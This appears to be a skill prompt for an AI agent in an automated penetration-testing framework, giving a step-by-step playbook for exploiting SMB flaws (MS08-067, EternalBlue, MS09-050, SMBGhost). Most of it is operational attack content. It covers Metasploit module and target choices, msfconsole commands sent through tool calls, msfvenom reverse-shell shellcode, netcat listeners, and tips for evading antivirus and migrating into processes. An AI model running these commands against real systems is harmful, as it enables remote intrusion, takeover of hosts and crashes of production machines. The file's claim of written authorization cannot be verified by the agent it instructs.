Smb Exploitation

SMB Remote Exploitation

You are helping a penetration tester exploit a confirmed SMB vulnerability for remote code execution. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [smb-exploitation] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

Scope Boundary

This skill covers SMB protocol exploitation — enumeration, authentication attacks, and share access. When you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain — STOP.

Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:

• What was found (vulns, credentials, access gained)
• Context to pass (injection point, target, working payloads, etc.)

The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.

Stay in methodology. Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• SMB vulnerability confirmed via nmap smb-vuln* scripts or equivalent
• Target OS and architecture identified (critical for target selection)
• Network access to target port 445
• Metasploit Framework installed (msfconsole)
• Listener port available (default 4444, or specify alternative)
• Attack machine IP reachable from target (check with ip addr show tun0 for VPN, or appropriate interface)

Step 1: Assess

If not already provided by the orchestrator or conversation context, determine:

1. Which vulnerability? Check engagement state or ask — MS08-067, MS17-010, MS09-050, or SMBGhost
2. Target OS and architecture? Windows version, service pack, 32-bit vs 64-bit — critical for exploit target selection
3. Attack machine IP? Run ip -4 addr show tun0 (or appropriate interface) to get the listener address

Vulnerability-to-OS Compatibility Matrix

Skip this step if the orchestrator already provided this information.

Step 2: Select Exploit and Target

MS08-067 (CVE-2008-4250)

Metasploit module: exploit/windows/smb/ms08_067_netapi

Preferred for Windows XP and Server 2003. More stable than EternalBlue on these older systems.

Target selection — critical for reliability:

Decision logic:

• If OS is "Windows XP" and SP2 or SP3: use target 6 (handles both, NX-aware)
• If OS is "Windows XP" and SP0/SP1: use target 2
• If OS is "Windows 2003" and SP1: use target 8 (NX) or target 7 (no NX)
• If OS is "Windows 2003" and SP2: use target 10 (NX) or target 9 (no NX)
• If OS is "Windows 2000": use target 1
• If unsure about NX: try NX-enabled target first — it works on both, the reverse doesn't
• If unsure about SP: use target 0 (automatic) — less reliable but attempts fingerprinting
• For non-English targets: use target 0 (automatic) and note that language- specific targets exist in Metasploit (check show targets for full list)

Payload selection:

• Default: windows/shell_reverse_tcp — simple, reliable, no staging issues
• Alternative: windows/meterpreter/reverse_tcp — more features but staged payload can fail on slow/filtered links
• If port 4444 is filtered: try 443 or 80 as LPORT

MS17-010 / EternalBlue (CVE-2017-0143)

Metasploit modules (choose based on target OS):

Decision logic:

• Windows 7 / Server 2008 R2 / Server 2012 / 10 / Server 2016 (64-bit): use ms17_010_eternalblue — primary module, highest success rate
• Windows XP / Server 2003 (32-bit): use ms17_010_psexec — the eternalblue module frequently BSODs 32-bit XP. psexec variant uses named pipes and is far more stable. Requires a valid named pipe — common defaults: samr, browser, lsarpc, netlogon, srvsvc
• Windows Vista / Server 2008 (pre-R2): use ms17_010_psexec
• Windows 8 / 8.1 / Server 2012: try ms17_010_eternalblue first, fall back to ms17_010_eternalblue_win8

Named pipe selection for psexec variant:

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set NAMEDPIPE samr

If samr fails, cycle through: browser, lsarpc, netlogon, srvsvc. Null session access increases success — check engagement state for null auth status.

Payload selection:

• 64-bit targets: windows/x64/shell_reverse_tcp or windows/x64/meterpreter/reverse_tcp
• 32-bit targets: windows/shell_reverse_tcp or windows/meterpreter/reverse_tcp

MS09-050 (CVE-2009-3103)

Metasploit module: exploit/windows/smb/ms09_050_smb2_negotiate_func_index

Narrow target range — only Vista SP1/SP2 and Server 2008 SP1/SP2.

Target selection:

Only 32-bit targets. If target is 64-bit, this exploit won't work — try MS17-010 instead.

SMBGhost (CVE-2020-0796)

Metasploit module: exploit/windows/smb/cve_2020_0796_smbghost

Very narrow target range — only Windows 10 v1903/v1909 and Server v1903/v1909 with SMBv3.1.1 compression enabled.

Confirmation (before attempting):

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# Check for SMBv3.1.1 compression support
nmap -p445 --script smb2-capabilities TARGET_IP

Stability warning: This exploit targets kernel memory and has a moderate BSOD risk. Always warn before launching.

Step 3: Generate and Execute

Interactive Metasploit via start_process (Preferred)

Spawn msfconsole in a persistent PTY via the shell-server MCP. This lets the agent drive Metasploit interactively — configure the exploit, run it, and interact with the resulting session through send_command calls.

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# 1. Spawn msfconsole
start_process(command="msfconsole -q", label="msfconsole-eternalblue")

# 2. Configure and run (via send_command with expect patterns)
send_command(session_id=..., command="use <MODULE>", expect="msf6 exploit")
send_command(session_id=..., command="set RHOSTS <TARGET_IP>")
send_command(session_id=..., command="set LHOST <ATTACK_IP>")
send_command(session_id=..., command="set LPORT <PORT>")
send_command(session_id=..., command="set TARGET <TARGET_ID>")
send_command(session_id=..., command="set PAYLOAD <PAYLOAD>")
send_command(session_id=..., command="run", timeout=60, expect="session \\d+ opened")

For MS17-010 psexec variant, also set: set NAMEDPIPE samr For SMBGhost, also set: set PROCESSOR_ARCHITECTURE x64

When Metasploit catches the shell, it lives inside the same PTY session. The agent interacts with the Meterpreter/cmd session through the same send_command calls — no port conflict, no DisablePayloadHandler needed.

Resource File Approach (Fallback)

If start_process is unavailable or msfconsole needs to be run outside the MCP, generate a resource file:

Template (adapt per exploit selection from Step 2):

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cat > temp_smb-exploit.rc << 'RCEOF'
use <MODULE>
set RHOSTS <TARGET_IP>
set LHOST <ATTACK_IP>
set LPORT <PORT>
set TARGET <TARGET_ID>
set PAYLOAD <PAYLOAD>
run
RCEOF

For MS17-010 psexec variant, add:

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set NAMEDPIPE samr

For SMBGhost, add:

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set PROCESSOR_ARCHITECTURE x64

Execution: Present the resource file contents to the user and instruct:

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msfconsole -q -r temp_smb-exploit.rc

Standalone Exploits (When Metasploit Is Unavailable)

If Metasploit is not available, standalone Python exploits exist:

MS17-010 (AutoBlue):

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# Generate shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACK_IP> LPORT=<PORT> \
  -f raw -o sc.bin EXITFUNC=thread

# Run exploit (requires the AutoBlue-MS17-010 repo)
python3 eternalblue_exploit.py <TARGET_IP> sc.bin

MS08-067:

bashCopy code
# Generate shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACK_IP> LPORT=<PORT> \
  EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" \
  -f raw -o sc.bin

# Modify ms08_067_exploit.py to include shellcode, then:
python2 ms08_067_exploit.py <TARGET_IP> <OS_TARGET_ID>

For standalone exploits, start a listener first:

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nc -lvnp <PORT>
# or
msfconsole -q -x "use multi/handler; set payload windows/shell_reverse_tcp; set LHOST <ATTACK_IP>; set LPORT <PORT>; run"

Note: Standalone exploit scripts may need modification for specific targets. Metasploit modules are more reliable and actively maintained — prefer them when available.

Step 4: Validate Shell

Step 5: Route to Next Skill

After obtaining a shell, route based on what's needed:

• Need credentials for lateral movement: → STOP. Return to orchestrator recommending credential-dumping. Pass: target IP, OS, shell type (SYSTEM or user-level), domain membership.
• SYSTEM on a domain-joined host: → STOP. Return to orchestrator recommending ad-discovery. Pass: target IP, domain name, SYSTEM access.
• Non-SYSTEM shell obtained (rare with these exploits, but possible): → STOP and return with: what was achieved, new findings, context for next steps.
• Objectives met (flags captured, proof collected): Return to orchestrator with findings.
• Need to reach internal network: → STOP. Return to orchestrator recommending pivoting-tunneling. Pass: target IP, interfaces visible from shell.

When routing, always pass: target IP, OS version, access level, any credentials found.

Troubleshooting

Exploit fails — no session created

1. Wrong target index: Most common cause. Check OS version and service pack carefully. Try target 0 (automatic) if specific target fails.
2. Firewall blocking reverse connection: Try LPORT 443 or 80. Or use a bind payload: windows/shell_bind_tcp with set RHOST <TARGET_IP>.
3. Named pipe unavailable (psexec variant): Cycle through pipes — samr, browser, lsarpc, netlogon, srvsvc.
4. AV blocking payload: Use windows/shell_reverse_tcp instead of meterpreter — simpler payloads evade basic AV better.
5. Target already exploited/crashed: If a previous attempt corrupted memory, the service may need to restart. On lab machines, reset the box.

BSOD / Target crashes

• EternalBlue on XP/2003 32-bit: Switch to ms17_010_psexec or MS08-067. The primary eternalblue module is unreliable on 32-bit systems.
• SMBGhost: High BSOD risk by nature. Ensure target OS matches exactly (v1903/v1909 only). May need multiple attempts.
• Multiple exploit attempts: Each failed attempt corrupts kernel memory further. If two attempts fail, reset the target before trying again.

Exploit succeeds but shell dies immediately

1. Staged payload failure: Switch to stageless (shell_reverse_tcp instead of shell/reverse_tcp).
2. AV killing payload: Try windows/shell_reverse_tcp (no meterpreter).
3. Session timeout: Set set AutoRunScript 'post/windows/manage/migrate' to migrate immediately (meterpreter only).
4. Migrate to stable process: If shell is fragile, migrate to a long-lived process like explorer.exe or svchost.exe.

Metasploit not available

Use standalone Python exploits (see Step 3 alternatives). Ensure:

• Python version matches (ms08-067 exploits often require Python 2)
• Shellcode is generated fresh with correct LHOST/LPORT and bad characters
• Listener is started before running the exploit

"Target is not vulnerable" but nmap confirmed it

1. Patch applied between scan and exploit: Re-run nmap vuln check.
2. SMB version mismatch: The exploit module may not negotiate the right SMB version. Check set SMBDirect true/false.
3. Network issues: Ensure stable connectivity — packet loss causes exploit failure (these exploits are timing-sensitive).